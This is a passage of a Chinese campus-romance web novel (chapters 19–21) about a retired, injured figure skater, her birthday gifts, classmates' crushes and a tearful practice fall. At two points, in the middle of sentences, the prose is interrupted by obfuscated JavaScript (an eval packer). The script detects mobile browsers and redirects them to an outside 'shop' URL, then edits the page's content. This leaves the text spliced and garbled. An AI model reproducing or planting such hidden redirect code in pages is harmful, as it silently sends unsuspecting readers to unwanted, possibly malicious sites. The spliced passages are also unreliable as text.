谌俞很不合时宜献唱了王菲的匆匆那年:“如果再见不能红着眼,是否还能红着脸……” “去你的!”高玟破涕为笑,“跟你们说哦,如果谁以后飞黄腾达,翻脸不认我这个朋友,我是真的会生气的!我会告诉全世界,我恨你们,超级恨!再也不和你们好的那种!” “恨!当然要恨!”齐恩大力赞同,“一恨起来就发狠了,忘情了,没命了!恨———!” 袁礼米笑得岔气,捂着嘴直打嗝儿。高玟明显已经醉了,趴在餐桌上咂巴着嘴。她喝的不少,谌俞也是,两人时不时把脑袋撞到一处。 “你撞我干嘛!”高玟抱头大嚷。 谌俞:“明明是你撞的我!” 两人你推我搡,从餐桌打到休息区,袁礼米跟去劝架,被撂倒在懒人沙发上。老板娘一看,说你们这不行啊,还没那个经常来喝的厉害。 喝醉的人没听明白。 醒的人倒是听明白了。 张其薪看向齐恩:“你经常来这儿喝么?” “还好啦。”齐恩笑了,“没复学的时候。” “那就是还没康复的时候?今年二三月份?” “嗯,康复师不让喝,但嘴长在自己身上。” 齐恩自顾自地斟酒:“他们确实太菜了,怎么说,这个年龄段的都没有能喝的。卢俜也是,滴酒不沾,这不行啊,以后在哪个方面工作,谈事都得有酒,中国是很讲究酒桌文化的。” 张其薪的重点放在:“你和卢俜喝过?” “随便喝点,上周出去吃夜宵的时候。” 张其薪捏着酒杯不说话。 “多少对人家改观了吧?” 齐恩撞了撞他的肩膀。 “卢俜又没你想的那么坏。” 看张其薪脸色古怪,齐恩又问:“该不会因为我和方婕闹矛盾,你觉得有点不自在吧?” “没事,你还是追你的,甭管别的。我和她有恩怨是我的事,你喜欢她是你的事,如果需要和我保持点距离,你开口就行了。甭管高玟、谌俞他们会不会骂你不仗义,我帮你说话。” 齐恩适时止住,给张其薪反应的时间。 餐桌上只剩两人,面对面,无处遁形。 “不是。”张其薪摘下眼镜,紧盯着她。 少年的眼中有温暖潮湿的微醺感。 “我现在,可能不喜欢她了。” 19. 生日礼物 我了个,兄弟你别搞我啊。 齐恩感觉右眼皮一跳一跳的。 她故作深沉,“年轻人,看清楚自己的内心很重要,不能今天爱一个明天又不爱。而且你还是个男人,男人最重要就是纯情,知道吗?” 张其薪也笑起来:“在说什么啊?就是顺其自然的,慢慢就放下了,不是谁的原因。” 笑了就可以当作玩笑话,齐恩松了一口气。 张其薪顺而从书包里拿出一个礼品盒。 “这是给我的生日礼物?” “嗯。”张其薪递过去。 齐恩掂量着小盒,“不是贵重的东西吧?” “就是别人送的,放在家里也没用。” “可以拆开吗?” “请便。” 齐恩拆开,一瞬间眼都瞪直了。 “这就是你说的不贵重?!” 最新款的苹果系列手表,还是和某知名运动品牌的联名。齐恩不是不喜欢,只是觉得没必要买这么贵的,手表能测心率就行了,“这个是不是还可以测血氧?还有专门的跑步软件?” “嗯,谌俞说你有夜跑的习惯。” 齐恩道了谢,反倒拘谨起来。 这不能怪她,哪有人送礼物送这么贵的? “你生日的时候,我会还你同价位的礼物。” “不用,正常就好,不用刻意那样做。” 齐恩心想这便宜不能白占,虽然张其薪不说,但她得这样做,这是交往中还礼的规矩。 手表都拆开了,她干脆直接戴上,遇见不会的地方,张其薪教她怎么使用:“这个是运动模式,这是NFC,磁感区靠一下就能付款。” 齐恩尝试自己操作屏幕。 张其薪的手还未撤离。 两人的手碰到一处。 张其薪放缓了呼吸。 “好厉害啊,我待会儿上地铁就要试一试。”齐恩说,“就这样,嘿,手表一亮!” 她自顾自摆弄着新手表,没注意到张其薪突如其来的微妙反应,又把屏幕凑到他面前展示。 “这个表盘好看!” “……我看看。” 说话的时候,靠得太近了,张其薪猝不及防。眼神聚焦之后能看清每一根眼睫,漆黑纤长。眼波是明亮澄澈的,有碎光闪逝。齐恩毕竟是齐恩,浓墨重彩的五官全长在巴掌大的脸上。 “看表盘啊,看我干嘛?” 张其薪这才回过了神。 这时候袁礼米也拎着两只醉鬼回来了: “真是!你们两个酒量差还喝那么多干嘛!” “不许……侮辱我……”高玟可是东北人,“我们大东北……就没有不会喝的……” 谌俞倒是清醒了些,他拍齐恩肩膀,说有礼物给她,“你今晚也有礼物?”齐恩失笑。 谌俞从自己的书包里拿出了另一个白色布包。难怪他的书包鼓鼓囊囊的,原来装着这东西。 在看清楚那是一只冰鞋包之后,齐恩脸上原本懒散的笑容凝固住了,她嘴角渐渐坠落下去。 “这是你职业赛场上最爱穿的一款鞋,我也是专门了解过,有热定型的功能,可以贴合你的脚型。”谌俞难掩得意的神情,“看小爷我对你多好,还给你买鞋和冰刀,快拆开看看。” 这个型号是非常难买的,漂洋过海,还要办一系列繁杂的手续。齐恩是知道的,正是因为知道,所以更不能苛责谌俞。她笑了笑,说回家再拆开吧。她把冰鞋包拎着,结了餐馆的账。 谌俞沾沾自喜,还不明白自己的礼物多么不合适。大伙准备打道回府了,袁礼米打车回去,顺路捎高玟,高玟却非要把谌俞也拉上:“张其薪送齐恩回去,我有话要对这个棒槌说!” 等到谌俞上了车,高玟对他急头白脸一顿骂:“你他妈蠢啊,给齐恩送冰鞋,怎么想的?” 谌俞一时间大脑宕机。 “不是,这冰鞋怎么了?” 高玟摇头:“送的款式不行!” 袁礼米也一脸无奈地别过脸。 “你知道你送的这双鞋有什么故事吗?”高玟扶着额头,“你不关注体育资讯吗?就算不关注,你也记得齐恩一开始来咱们班是拄拐的?她的右脚踝有伤,韧带早就断了三四根了!” 齐恩是因伤退役,大多数人知道。 却很少有同学知道她的伤是复发病。 袁礼米解释:“去年十月份ISU,她就穿这双皮埃诺七星。赛前冰鞋右靴出现了断裂,勾环掉了,是用塑料胶紧急加固才参加的世锦赛,结果导致她在赛场上摔倒,最终意外退赛。” 谌俞恍然:“原来是这样!我不知道……” 如今看来,这无疑是往齐恩心上捅刀子。 “你现在知道了!”高玟叹息一声,“不知道怎么说你才好,回头好好给人家道歉吧,送礼之前动动脑子行不行?你送点别的不行,非得送这一款冰鞋,也不知道哪里来的馊主意!” “我……”谌俞愧疚得难以言表。 这还是张其薪替他出的主意。 算了,现在说这些又有什么用。他犯难地揉搓着额发,红了眼眶:“这件事都是我的不是,齐恩她性格太好了,居然没有当场撂我脸子,是因为顾及我的感受,她才收下冰鞋……” “齐恩才不是不通情达理的人啦。”袁礼米安慰,“你准备了很久,她会明白你的心意。” 话是这么说,看谌俞急得团团转的样子,两个女孩儿对视一笑。“行了。”高玟有意逗他,“齐恩生气就生气了,你这么害怕干嘛?” 谌俞也不反驳,只是抱着后座的抱枕嘀咕:“你不懂,你不懂的……” 谌俞到家就先下车了。 高玟和袁礼米津津乐道。 “我看谌俞也是被齐恩吃得死死的!” “那可不一定。”袁礼米说,“谌俞只是慕强心理。我总觉得他对齐恩太崇拜了,又不怎么了解。如果你真的喜欢一个人,就会试着了解她的方方面面,而不是犯这样低级的错误。” 高玟摸下巴:“好像也很有道理。” 高玟捏了一会儿袁礼米软乎乎的脸,又问: “你说男生和女生差别怎么这么大?” “女生如果喜欢一个人,肯定会花费心思去打听他的过往、兴趣爱好什么的,甚至连每时每刻在想什么都要知道。但是男生真的很奇怪,为什么在不了解的情况下还能擅自喜欢呢?” “很简单啊。”袁礼米说,“见色起意。” 其实很多人都是这样的,不光是男生。” “你的意思是,谌俞和张其薪对齐恩有好感,都是因为见色起意?那我有点……” “也不全是,齐恩当然有个人魅力,而且很大。可如果不因为她长得美,又年少成名,有多少人喜欢她?”袁礼米心里如明镜一般,“即使这样,她还要承担那么多流言蜚语。” 高玟:“都是国家级别的运动员了,齐恩的心态肯定比我们更强大啦。” “但是。”袁礼米看向车窗外的夜景。 不断偏移的灯影像绷直的黑琴弦。 “偶尔也希望她能停下来喘口气。” . 齐恩和张其薪进了地铁站。 “唉,给我热够呛。” 齐恩拿自己的领口擦了擦汗。 张其薪伸手:“冰鞋包,我来帮你拿着吧。” 提到这个,齐恩不自在,张其薪已经接过。 过了安检,张其薪问她是不是心情不太好。 “很明显么?表现在脸上了?”齐恩打哈哈,“别跟谌俞说哦,可能我也喝得有点多。” 张其薪观察着她:“其实你可以和我说说。” “这有什么好说的呀,赛场上的事。”两个人上车,没有位置坐了,齐恩抓住头顶的横杆。张其薪站在她的身侧,处于某种隐秘的心理,把自己的左手放在离她的右手更近的地方。 更近一些。 距离被打破。 “明明心里有事吧,和我说一说也不可以吗?难道我们之间不是朋友吗?”张其薪问。 齐恩错愕,但很快接过了话:“当然是朋友,我没事的,就是有一点……触景生情了。” “是因为谌俞给你送的鞋?”张其薪轻声道,“他就是那样的人,缺心眼,你要是不喜欢,直接把鞋扔掉就行了。我们都知道你退役之前的事,只有他不知道,所以这也怪不了他。” “怎么舍得扔呢?”齐恩诧异地道,“我要留着!珍藏起来!那也是谌俞的一片心意啊!” “感觉你很善于应付别人的喜爱。” 张其薪温热的视线碰巧和她对上。 他在笑,镜片下的目光莫测,嘴角酒窝很深。 平心而论,张其薪的长相十分清隽,给人很有教养的观感,这也许和他的家庭环境又关系。 现在看来,不是也许。 齐恩心想谌俞也很接地气,看不出来是富哥,温主任说的对,这帮人都很恐怖,不是红二代就是商三代。城市套路深,齐恩要回国家队。 “是么?” 在不知道怎么回答的情况下。 反问永远是最好的答案。 “字面意思而已,年级里面有很多人喜欢你,还有隔壁班的男生找我要你的联系方式。” “难怪。”齐恩作气恼状,“每天有一百万个陌生人加我,我还寻思被传销的缠上了!” “但是我从来没给过。” 张其薪认真看着她。 齐恩几乎确认张其薪对她来电。 只是,凡事没必要摊得那么开。 “啊哈。”她笑说,“因为我是国王。” “国王?”张其薪不明白这词的由来。 “方婕以前评价过我,说我刚来学校第一天就给大家签名,调起得太高,又指挥交通让同学别堵塞,就叫我国王了。”齐恩不以为然,“这么来的呗,也可以说是年轻的国王。” 她眨眨眼:“对臣民的喜爱照单全收。” 漂亮,很讨喜的推拒。 仍然让人不会感到不快。 聚民大街北站已抵达。 两人下车,同时也换了话题。 “你和卢俜都住在这儿?”张其薪依旧帮她拎着冰鞋包,看这架势,是想直接送她到家。 “是啊。”齐恩示意那栋老旧的居民楼,“我一号楼,他二号楼,我住三层,他住四层。” “那确实很近,一起上下学也不奇怪。” “那可不,偶尔还能串门问个数学题。” “你去过他家?” “顺脚的事。” “那他来过你家吗?” “好像还没有。” 楼道里面有声控灯,亮起时理应驱散黑暗,但线路实在太老了,灯是一闪一闪的。齐恩抬脚往上走,张其薪在她身后:“这灯太老了。” “是啊,这小区什么都破!”齐恩抱怨道,“上个月还停电了,晚上十点到第二天中午,说就是线路老化,算了,起码租金便宜。” “基础设施差,这附近治安也不好,刚才看到路边好几个宵夜摊都是光膀子男人扎堆,怎么没想着搬到治安好点的地方?这里是闹市。” “八百一个月,两室一厅一卫,又是学校边的地段,别说光膀子,就是光屁股我也爱租。” 张其薪被逗笑:“……还是安全第一。” “安啦安啦,你和谌俞,就你们俩,跟男保姆一样,生怕我出什么意外。”齐恩想了想,“还有高玟,她是女保姆,啊不,女保镖。” 齐恩掏出钥匙开门,张其薪在一旁开手电筒。进屋,开灯,还没有要走的意思。齐恩委婉地提醒:“行了,送到了啊,再送得付钱了。” “我让司机直接来接的。”张其薪说,“还有二十分钟到,可以先进你家蹭会儿空调吗?” “你这说的,我家是没拖鞋,怕招待不好你,又不是非得把你卡门口,怎么我是门神呐?”齐恩侧身,“话说你有司机怎么还坐地铁?” “送你回家。”张其薪擦肩进了屋。 “怎么不让你家司机送我回家?” “你之前不是说不想麻烦我家司机?”张其薪翻起了旧账,“我还以为你喜欢坐地铁。” “那时候……”齐恩哂笑,“又不太熟。” “现在熟吗?”张其薪接过她递来的冰水。 “七分熟。”齐恩回答得也很有艺术性。 不生也不熟。 “怎么样才能变得更熟?” “你以为我是微波炉呢?” 一通来电打断两人的对话,是张其薪的手机。 他看了一眼来电人,面色微变。接通之后他只听着,对面的人似乎在不停地说话,他则不时嗯了两声,说完“再看吧”,就挂断了电话。 齐恩问:“是不是有事要忙?” 张其薪迟疑片刻:“……是我妈。” “你不是说你家里人不管你晚归吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624255|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有。”张其薪摆了摆手,“她过些日子要出差,去苏州,问我要不要跟他们一起。” “他们?”齐恩问,“你妈的同事吗?” “算是吧。”张其薪撑着下巴,“是我爸。” 齐恩想到谌俞说过:“你爹管你很严?” “只在学习方面。”张其薪说,“他不会管我消费什么,不会管我多晚回家,甚至很多时候他们都在外地出差,兼顾不到我的生活。但是我爸很在乎我的成绩,决定他对我的脸色,” “家里一般都是一个红脸一个白脸。”齐恩深谙此道,“那就是你妈妈对你比较温柔?” “我妈收拾我也不带手软的。” “小可怜。你是挨双打长大的。” “那你呢?你爸妈不在这边?” “我爸和我妈很早就离啦,我是跟着我爸,但他工作也比较忙。”没想到是这样的回答。 “如果一个人在家无聊的话,可以来找我。” 齐恩哈哈大笑:“这有什么好无聊的?” 她笑起来很开朗,但不触及真心。 张其薪心想,她几乎不怎么说自己的事。很少有人会完全摒弃倾诉的欲望,除非内核过分强大。 张其薪注意到她的膝盖上的黑淤青。 他细看,齐恩去遮,被他反摁住手。 “你干嘛?喝醉了?”齐恩抬眼看他。 “这些……都是滑冰的时候留下的?” “是啊,那不然?运动员有点磨损很正常。” 齐恩从他的眼底看到浓重的情绪,少年灼热的呼吸铺洒在皮肤上。他用指尖碰了碰那淤青。 他突然说:“齐恩,我想……” 不,别别试图越过那条线! “张其薪!”齐恩打断了他。 门外有敲门声适时响起。 齐恩起身:“我去开门。” 门开了,来的人是卢俜,穿着简单的白T恤和短裤,戴防蓝光的黑框眼镜,古板而平常。 “我的英语试卷在你这里?”卢俜环视屋内,和客厅里的张其薪撞上视线,清淡地错开了。 他只是认真盯着齐恩:“你用完了没有?” “还没有。”齐恩招待他,“先进来吧。” 卢俜进来,他自己穿的就是居家拖鞋,很显然串门的姿态。“我们英语老师说要用我的卷子当样卷,我扫描一下答题卡,给她发过去。” “在书桌,我去找找。” 齐恩溜之大吉。 客厅里只剩两个男生,卢俜是站着的,没有坐下的打算,而张其薪同样也没有起身的想法。 两个人都不是健谈的性格,或者说男生之间的往往很两极,不是看得顺眼就是看不顺眼。 “齐恩又不是方婕。”张其薪先开了口。 “你没必要对十七班的人那么殷勤吧。” 卢俜说:“我没有殷勤,对方婕也是。” “你知道方婕的处罚结果下来了吗?警告处分和休学半年,后者对她来说可能影响更大。” “抱歉,我不是很清楚。” “方婕喜欢你,你就因为齐恩那么背刺她。”张其薪冷笑,“该不会你移情别恋了?” “移情别恋的是你。” 卢俜一语道破。 “我也从来没有喜欢过谁。” 张其薪陷入了沉默,直到齐恩拿着卷子出来,他和她告别,微笑着说司机还在下面等着。 张其薪离开,齐恩如释重负地倒在沙发上:“卢子,你再晚点来,我就要社死了!” 老实说卢俜来得不算晚,收到消息就下楼了。 张其薪和齐恩的事,卢俜没有多问,八卦也不是他的风格。他注意到她的手腕:“新表?” “张其薪送的。”齐恩抬起手腕展示。 “高玟送的幸运草手链,袁礼米送的庄羽周边羽毛球,谌俞送一双冰鞋。”齐恩打开书包,礼物盒哗啦啦倒出来,“还有很多不认识的人,有个学弟送我一双八千多的北卡蓝倒钩,我不想收,他又说是我粉丝,也不好拒绝。” 她很受欢迎,这是事实。卢俜看着小山堆一样的礼盒,想到班上女生的话题也总围绕着她,说她人缘多么好,过个生日都像在普天同庆。 卢俜恰恰相反,他对任何节日都很漠然,包括自己或别人的生日。这不是没有朋友的缘故,家庭观念致使他冷淡,从年幼时就是如此了。 齐恩说,卢俜就听,反正他爱不爱听,她都会继续说下去。卢俜其实也算参与了她的生日,他吃了她的生日蛋糕,人手一份,正好有他。 正好而已。 卢俜只是她万千朋友中的一个。 也许和刚才的张其薪没什么区别。 区别是,他还比较老实,不会做逾矩的举动。卢俜自己都觉得这解释很合理,同时也明白一件事———齐恩和他交好,一部分原因是避嫌。 卢俜说:“没什么事,我回去写题目了。” “那么着急走干嘛?你还是第一次来我家。”齐恩领他去卧室,“我上次不是和你说了我的音响?你说听不出来,要不要进来听听?” “……那是你的卧室。”卢俜闪躲着。 “这有什么嘛,快进来!”齐恩拉他。 “如果。”卢俜同她僵持住,“如果是张其薪要进你卧室,你肯定不会让的……不是么?” “那不是废话吗!”齐恩理所当然地道,“我和你什么关系,和他什么关系,那能比吗?” 卢俜不知为什么,浑身的死劲儿都泄下来了。他顺着齐恩给的的力度往前走了两步,又如梦初醒: “今天太晚了,我明天再来你家听。” 齐恩这回没再拦,卢俜拿起试卷离开。 他走到门口,她才慢悠悠地喊住他。 “好学生。” 她意味深长。 “说这么多,你没准备生日礼物给我?” “……抱歉。”他说,“我没有这种观念。” “可今天是我的生日!”齐恩夸张地伸手,“你应该给我礼物!你还吃了我的蛋糕!” 卢俜实在想不出上哪儿给她找礼物。 他站在门的那一侧,真挚地思索着。 突然,他俯身,将脑袋递到她面前。 “你……之前……不是说过想摸?” 从齐恩的视角,只能看到卢俜毛茸茸的发顶,纤长卷翘的棕褐色眼睫,还有鼻尖一点点红。 “……生日礼物。” 20. 真的好想 机会就在眼前,像很想吃的一道甜品被小心奉上。延迟的好奇并不会消失,反而怦然跃动。 齐恩心想,他是有心还是无意? 是因为知道她的心情不佳? 总之,她去摸他,先是用指尖轻碰,勾住卷卷的发尾,一下下绕弄,然后———突然把手指伸进去!就像探入温暖干燥的芳草地,原来卢俜发质这么软,猫咪的毛发,好神奇的触感。 “哇哦。”她不自觉地轻叹。 指骨并拢,毛发在其中摩擦。 “哇,哇———”她一下又一下地,一开始还算拘谨,后来发现手感简直太妙了,于是迅速伸出另外一只手,双手齐下。小猫,他真是,被齐恩摸光光,这么好的事为什么以前没有? “如果可以天天摸,我想象不出来自己会是多么一个开朗活泼的小女孩!”齐恩欣喜地说。 你本来就是,卢俜没有说出口。 他耐心地等待她摸个尽兴。 齐恩去够他后脑勺较短的卷发,这样一个动作,卢俜猝不及防,耳朵也被她的掌心贴住。那里是敏感的地方,很痒、很刺,细碎的电流淌过,酥酥麻麻。摩擦时,窸窸窣窣的声音好像深埋在身体里放大。他忽然就感觉不好了,应激地往后躲了两下:“……你别瞎摸了。“ 齐恩被迫撤回手,还有点儿遗憾。 “还没摸够呢。”她回味那感觉。 卢俜眼神闪躲,“回去了。” “嗯。说好了明天来我家哦。” “晚点手机上说。” 卢俜走得很仓促。 害羞了?真可爱。齐恩自己也忍不住笑,靠在门边目送他上楼,一格格。依旧挺直的脊背、高挑颀长的身影,少年人特有的清瘦感,可以理解。他还有一头蓬松的羊毛卷,简直绝杀。 行吧,生日礼物,还算凑合。 而另一边,卢俜那虚于表面的镇定在开门时彻底摒弃。他慌乱试了两下,最后才打开门锁。 换鞋,关门,回房,动作一气呵成。 他把自己埋在柔软大床,调整着呼吸。 她看到了没,应该没有吧,他转身得够快。怎么会突然这样?这辈子没见过这么尴尬的事。等等,好像不是没有吧,但这次和酒店那次又不一样,卢俜苦恼于自己这莫名其妙的反应。 想到齐恩、近日发生的一切。 卢俜没办法静下心来。 手机有响动,齐恩给他发了消息,说过一周有广告要拍摄,明天起要去冰场练习,不能请他来家里做客了。卢俜反而松了一口气,回了一句“知道了”,齐恩又问,爽约会不会生气。 不会,卢俜回。 为什么生气,他没有理由,而且齐恩也有自己的事情要忙。只是,在她问过之后,卢俜得到了切实的尊重。他把英语卷的扫描件发给她,齐恩回了个中年叔叔掩唇羞涩一笑的表情包。 真是很难把她的风格和本人联系起来。 卢俜要去刷卷子,就放下了手机。 齐恩要拍摄的是一款国民品牌牛奶的广告,广告费可观,她作为刚退役的花滑国家运动员,含金量还在上升,按理来说运动员退役后从业方向就两个,一是为国家运动梯队添砖加瓦,往裁判教练等高层管理方面发展,再就是谌俞说的进军互联网,反正有庞大的粉丝基数,成立运动产品品牌,做直播卖货,也可以盈利。 可齐恩毕竟年轻,有无限可能。 她还不想早早框定好未来的路。 齐恩的广告一般是体育经纪人帮她洽谈,她自己也会看看项目内容,合适就接。像这种赞助商级别的品牌也很阔绰,大半个花滑国家队的都请过来。现役队员和大概率参加下届冬奥会的种子选手,齐恩原本不该在邀请的行列中,但她属于刚退役的老将,粉丝转化率又很高。 没什么好纠结的。 齐恩订了飞沪城的机票。 齐恩想起谌俞送的那双冰鞋,唯一没有拆开的礼物。她平复着自己的心情,打开了冰鞋包,抚摸那双做工精美的鞋。白金的皮革,流水般细腻的鞋线,她想到在它身上发生的故事。 首先是右脚熟悉的刺痛。 捻转、起跳、失衡。 四面八方都是彻底的声音。 齐恩被刀刃般的闪光灯刺伤。 这是她的重大失误。 齐恩迅速从冰面站起。 想要站直,可脚腕忍受不住地颤抖,右膝盖撞出血了,低头时才能看到。可齐恩必须高高抬起自己的头颅,这是总决赛的现场,她将手臂高举,十秒钟之后有第二个四周跳,成功了! 第三个,四周跳。 齐恩的牙关在颤抖。 勾手四周跳。飞利浦四周跳。 如果身体真的有极限的话。 请等齐恩落幕。 血顺着膝盖蜿蜒而下,染红了跳跃的地域,像走向末路的狂舞。这是一位顶尖花滑选手的谢幕礼。齐恩的旧伤和别离来得一样仓促,好在很完美。谢幕动作,她躬身亲吻血红的右膝。 她赢得潮水般的掌声。 她褪下有残缺的冰鞋。 齐恩为自己的花滑生涯划了一个完美的句号,虽然没有获得金牌。她拿到银牌,金牌是一位俄国选手,她们彼此都熟识。尽兴地拥抱时,娜塔莉说祝贺你获得新生,我为你感到骄傲。 齐恩看着自己的右脚。 我没有新生了。 但是。 “以后是你们的时代。” 思绪回到当下,齐恩的手仍然停留在冰冷坚硬的刀片上。她用指腹感受着光滑的表面,一双崭新的鞋,没有一丝丝磨损。如果她提前得知自己的舞鞋会出现意外,一切会不会不一样? 想那么多做什么,齐恩笑了笑,不需要回头看没走过的路。她将昂贵的鞋放在床底,把旧鞋拿出来擦拭、护理,为接下来的训练做准备。 . “卢俜,最近怎么没看到齐恩她人呐?” 温主任一边沏茶一边随意地询问。 卢俜整理文档的动作停顿一下。 “她在例训。” 他把归档的资料放好,声音平淡无澜。事实上,卢俜也有将近一周的时间没见到齐恩了。 一旦脱离了上下学的关系,其实他和齐恩也很少有交集。齐恩的训练时间和上课时间冲突,所以只能牺牲后者。往往卢俜去上学的时候没见着齐恩,卢俜放学的时候齐恩也没回家。 但是作息还是那样,齐恩习惯熬夜,通常灯火亮到凌晨。卢俜在客厅熄灯后不知该做什么,也会透过内窗偷看。他不是有意探究她的。 但她的离开确实带来了安静。 从卢俜的视角来看,齐恩是截然不同的存在。兼顾学业与事业,在这个年龄已经很不容易。大多数人以为她学习不太刻苦,毕竟有运动员的滤镜。但卢俜知道,她具备了成功的潜质。 卢俜家的冰箱里没有面包了。那是个大半夜,他被饿醒,下楼去便利店买。他看到齐恩了,准确的说,是单方面的。齐恩蹲在自家门前的走廊上,她可能有点累了,在和谁打着电话。她感冒了,额头上贴着蓝色的退烧贴,也许只是热。卢俜想,为什么一个人在那里待着。 楼道里,声控灯亮了又关,彻底陷入黑暗。 卢俜在漆黑中冷静地注视着疲惫的齐恩。 她在打电话给谁,一直没打通,她也一直打。直到最后叹息了一声,把手机揣回兜里,跨着修长笔直的腿回了屋。齐恩有她自己的故事,卢俜实在不该好奇,那也不是他该关心的。 他从失明到难以摸索的楼道里离开。 身后是并不温暖的她家的灯火。 温主任的话让卢俜意识到,他确实有些日子没和齐恩说上话了,齐恩也没有来打扰他。 温主任说:“我这边有一份市级优秀学生推荐的签字单,你不是和齐恩住的近吗,去问问她方不方便今天签了,比较赶,明天还要交到局里去。”原来是有事要交代他,卢俜说好。 中午午休的时候,卢俜给齐恩发消息。 齐恩很快就回了:“我下午回学校签。” “会耽误训练吗?其实我可以给你送过去。” “我在粤东冰雪,离学校有点远,你确定?” “我送吧,温主任着急。”其实没那么着急。 “好,我把定位发给你,到了给我发消息。” 卢俜拿温主任的请假条出校门,没想到第一次用在这儿。他在校门口就打到了出租车,说要去粤东冰场。广省最大的冰雪世界综合体。 商业体在仙区市郊,确实有点儿远,四十分钟才到达目的地———一栋偌大的玻璃场馆。 周中日,又是大中午,来的人并不多。 卢俜顺着场内的地图找到了一号滑冰场,三楼正中央的位置。齐恩还在排演,教练在场外播放音响,中国乐曲。齐恩在冰场内抱臂起势。 一头漆黑的长发被束成利落的马鞭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660892|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有一丝多余的碎发拂扰脸颊,她穿着全黑的训练服,整个人犹如一柄生硬的黑铁剑插在冰里。音乐响起之前她是完全静止的,没有生气的死物,甚至连呼吸都没有。她太美观高级,从婀娜的身量到大方端庄气度,再到没有瑕疵的脸。 她的双眼紧闭,黑睫利刃般重坠。 在古筝声拨开云月的一瞬,才睁开。 像被赋予了灵魂,她开始踩着冰刃舞蹈。这是一首敦煌曲风的片段,并不小家碧玉,劲寸的筝鸣和紧凑如珠玉落盘的琵琶清响,如将士把画中劈开一角。齐恩正是从这历史般的裂缝里刺滑出来!她的双脚不踩在冰面,而是飞天的云彩,仿佛指引着某支杀伐的军队往西天去。 在她的落点上,冰碎四溅。 足以见得力度并不轻柔。 如同生长在旋律上的舞蹈,在乐曲抵达高潮的前夕,她单脚翩翩点滑,像亲点兵将的领袖。流畅的衔接,以至于后外三周落地后才分辨出是跳跃动作,燕式旋转中妩媚的伎乐手,玉指葱削,美人韵浓。即使外行人也可以看出,无论控制力还是稳定性,齐恩无疑是最顶尖的。 舞曲的末端,鼓点一声赛一声渐弱下。 齐恩也滑回了伊始静立的中心点。 她缓缓攀住双臂,再次闭上双眼。 犹如被唤醒的壁画重新陷入沉眠。 一时风过冰止。 卢俜忘记了自己为什么而来,他只是欣赏了一出精湛到无可复加的表演。很难相信表演者是那个说话坏坏、总玩世不恭的齐恩,反差太大了,像双重人格,两个人。他开始理解开学那日为何那么多狂热粉围着齐恩要签名,追着她说有关喜欢或爱的字眼。他当初看到她的脸,只是觉得不算夸张,如今领略她的作品才知道名副其实,如果他最先认识的是冰场上的她。 保不准也会自惭形秽。 任何人面对她都会自卑吧。 齐恩滑到场边,教练对她说话。说完之后齐恩又滑回场地中央,练习着有瑕疵的动作。其实卢俜根本就看不出哪个动作不到位,他也只是看着。直到齐恩突然做出了一个额外的动作。 那是原本未被删减的规定动作。 阿克塞尔跳三周半接三周半。 向前起跳,向后落冰。 前外刃顶住刀齿起跳。 就在落地时意外发生了。 齐恩突然跌落在冰面上。 教练听见沉闷的摔地声才注意到。 而卢俜已经脱下书包飞奔进去。 比卢俜想得要好一些,摔得没有太狼狈,齐恩自己用双手抻住了冰面,双膝点地保护腿部。真坚强,他心想,摔得那样惨,在坚硬的冰面上,宛若飞鸟突然失去了赖以生存的双翼,却仍能勉强支撑住。多强大的意志力才能做到这个地步,更何况她本身带着经年累月的伤病。 卢俜扶住了齐恩。很冷,原来冰场上这么冷。 齐恩脸色极差,不停地喘息,抬眼看到卢俜。 卢俜抬住她的胳膊,帮她站起。她却推开他。 事关运动员的尊严,她并未给观众好的观感。 她作为一个表演者失格了。 齐恩右脚不停地颤抖,失误并非第一次发生,然而穿着这双相似的鞋,鼓起十足的勇气,却要一次次被摧折。她不是无往不胜的人,但也不甘忍受自己的失败。越骄傲的人越有可能登顶,但也代表她的骄傲会无时无刻折磨着她。 她无非想要触摸到曾经的自己。 哪怕一点点,齐恩只是不甘心。 她根本没有放下,放下?如何能放下?坚持了这么多年的东西。从开始懵懂的尝试,到初登赛场的欢欣,到如今功成名就,花滑陪伴了她十载的光阴,如果生命不可以献给这个东西。 她的人生就戛然而止了。 想到王玉说的那句话,再抬起头也许只能仰望到她们登顶的背影。其实齐恩总是不甘心的,不甘心又能如何?埋怨上天不公平又能如何?难道她还有再次站在赛场上搏杀的资本吗? 既然没有,那就向前看,回归到正常的轨迹。当一个普通的高中生,朝八晚五、上课放学、循规蹈矩……这并不难,总能适应的不是吗? 可是,可是不管怎样。 齐恩的泪水落在冰面上。 冰冷滚烫,晶莹剔透。 像无数日夜凝结的珍珠。 “我真的好想……” 她掩住苍白的面颊。 “继续滑下去。” 21. 有点闷骚 齐恩的脸渐渐埋在卢俜颈间。 分不清是谁先靠近了谁。 只是,卢俜感受到肩上柔软的热潮。 她紊乱的心跳仿佛也扎根他的体内。 她哭了,他想,并不脆弱的哭。 不软弱,不无能,一点儿也不。 是勇敢者的哭泣。 是野心家的哭泣。 不是卢俜选择了齐恩,而是齐恩自然而然落在他肩膀上。她正好需要一个支撑,而卢俜正好出现在这里。如果没有他,她也会展露脆弱的一面,他只是……正好在她最无力时出现了。 卢俜很明白,她需要的不是安慰。 但他也很木讷,不知该作何反应。 